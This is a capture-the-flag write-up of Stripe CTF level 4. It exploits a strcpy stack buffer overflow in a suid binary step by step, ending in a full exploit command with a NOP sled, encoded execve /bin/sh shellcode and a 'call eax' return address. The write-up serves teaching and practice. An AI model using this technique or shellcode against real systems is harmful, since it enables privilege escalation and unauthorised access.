Stripe CTF – Level 4

Note: For more information on this series of posts and the CTF exercise, please read the Background section of the first post in this series.

Level 04

We are half way through the game and having a lot of fun with some basic exploits and learning a few things along the way. Let’s login using the level04 credentials and view what the next challenge has in store.

We see that level04 is another suid binary and apparently has some source code provided via level04.c. Let’s view the source to see what we are dealing with.


#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void fun(char *str)
{
 char buf[1024];
 strcpy(buf, str);
}

int main(int argc, char **argv)
{
 if (argc != 2) {
 printf("Usage: ./level04 STRING");
 exit(-1);
 }
 fun(argv[1]);
 printf("Oh no! That didn't work!\n");
 return 0;
}

This is a very short program, and if you’re used to analyzing source code for potential vulnerabilities, you should already notice that we have a classic buffer overflow vulnerabilitiy at the string copy function within the fun function. Notice that ‘buf’ is allocated 1024 bytes and then the string provided as a parameter is immediately copied to the buffer. There is no length validation conducted on the string when taken from the command line, nor is it validated prior to the copy, thus we should be able to provide a really long buffer and cause the program to crash. Let’s test the binary for intended and “unintended” input:

We see that testing the unintended functionality (i.e. passing too large of a buffer) produces a segmentation fault. This is good because it means we can craft a buffer to take control of execution flow of the binary! Ultimately our goal is to overwrite the EIP register with an address that points to executable code that we have provided.

In order to begin crafting our buffer, we need to know exactly how much buffer space is needed in order to overwrite EIP. We know that sending 2500 bytes causes the binary to crash, so let’s use an extremely convenient pattern creation tool from the metasploit framework entitled “pattern_create.rb”. This utility will generate a buffer of whatever size we want and the output is a character sequence such that no four consecutive characters will ever repeat. This will allow us to identify the offset within our buffer where EIP is redirected. Here is how we generate our buffer:

Next we load the level04 binary into gdb and set the argument to be our 2500 byte character string. Then we run the program and note the address that binary is attempting to access.

We know we’ve overwritten EIP and it is now attempting to call 0x69423569, which is part of our buffer. Now we turn to “pattern_offset.rb”, the partner utility of “pattern_create.rb”, which will identify how deep into our buffer the 4-byte sequence 0x69423569 actually is. Running the utility and passing our 4-byte address provides us with the output of 1036.

This means that we need to pass 1036 bytes of buffer and that bytes 1037-1040 will overwrite EIP, thus we will need to pass EIP an address of our choosing that will redirect execution back to our buffer which will have included shellcode to execute whatever we would like.

Now that we know what our buffer size is, we begin to construct the skeleton of the buffer to use for debugging what address we need to call or jump to in order to execute our shellcode. The general format of our buffer is as follows:

nop sled + shellcode + padding + return address

Obviously the key to this buffer overflow succeeding is identifying a good return address. So let’s construct a new buffer and debug the program again. We load the level04 binary back into gdb and set the argument string as follows:

$(python -c “print ‘\x41’*1036 + ‘\x42\x42\x42\x42′”)

Running the program again gives us another segmentation fault and validates that we are at the correct offset because the message states that the program cannot execute 0x42424242. If we disassemble the fun function we notice that our buffer gets sent to the $eax register prior to calling strcpy. So let’s see what is stored at the address where $eax is pointing.

We see that $eax points to a large string of 0x41 values, which is part of our buffer. This is great news, because now we can look for an address that jumps to or calls $eax and overwrite EIP with that address. There are a few different ways to search for certain assembly functions, or calls, within a linux binary, but we also have to keep in mind that technically we don’t have access to the original binary (i.e. we don’t have access to it on our local machine). Thus we need to use tools already present on the server. So let’s use objdump to disassemble the binary and search for “call eax” instructions.

This output provides us with two addresses that should serve us well, namely 0x804847f and 0x804857b.

Okay, so we now have everything ready except for our shellcode. There are lots of sources of shellcode out on the internet today, but we can also generate our own using tools within the metasploit framework. If we simply want to generate a metasploit payload into a format of our choosing we can use “msfpayload”. If we want to further encode the payload to attempt to avoid AV detection or avoid certain characters that might cause problems, we can pipe the output of msfpayload to “msfencode”. “Msfvenom” is a utility that combines the functionality of “msfpayload” and “msfencode” into one tool. I will show you examples of both to complete this exploit.

Below we generate a payload that will execute the /bin/sh command. If successful this will give us a shell with the same running permissions as the level04 binary. Since the suid bit is set on the binary, that should provide us with the effective user id of level05, which will allow us to view the level05 password. Notice that in each example we provided the option “-b ‘\x00\xcc\x20′”. This option eliminates these characters in our payload because they will cause problems and won’t allow our shellcode to execute properly. Also notice how the shellcode is different each time we generate it (except for the size), which shows the power of the encoder.

Okay, we now have everything we should need to successfully exploit the buffer overflow vulnerability. We construct the buffer to fill initially with 500 bytes of NOPs, which is called a nop-sled, then our 70 bytes of shellcode, followed by 466 bytes of further padding totaling 1036 bytes thus far. Then we cap it off with our return address that calls $eax. Note that the address is in little endian. Here is the exploit string:

./level04 $(python -c “print ‘\x90’*500 + ‘\xdb\xc3\xd9\x74\x24\xf4\xbe\xbb\x71\x6b\x91\x5f\x31\xc9\xb1\x0b\x31\x77\x1a\x03\x77\x1a\x83\xef\xfc\xe2\x4e\x1b\x60\xc9\x29\x8e\x10\x81\x64\x4c\x54\xb6\x1e\xbd\x15\x51\xde\xa9\xf6\xc3\xb7\x47\x80\xe7\x15\x70\x9a\xe7\x99\x80\xb4\x85\xf0\xee\xe5\x3a\x6a\xef\xae\xef\xe3\x0e\x9d\x90’ + ‘\x44’*466 + ‘\x7b\x85\x04\x08′”)

Sure enough, after hitting return we are given a different prompt which is a great sign. We go ahead and identify who we are and notice that our euid is the level05 user. Thus we can successfully read the password for the next challenge!

Alternate payload

We didn’t necessarily have to generate a payload that drops us to another shell. We could generate a payload that simply prints the password file. Below is an example of how to generate that payload followed by the output of the exploit strings using each payload. Notices that the password is printed to the screen as a result.

Conclusion

This was a classic example of how easy it can be to exploit buffer overflows. There are multiple ways to skin this cat, but hopefully you learned the basic techniques required to generate a buffer overflow exploit. I didn’t go into a lot of depth on some of the capabilities for the tools used in this post, but I encourage you to do more research on your own with tools like msfvenom, msfpayload, msfencode, gdb and objdump.
Store your password and let’s move onto level05: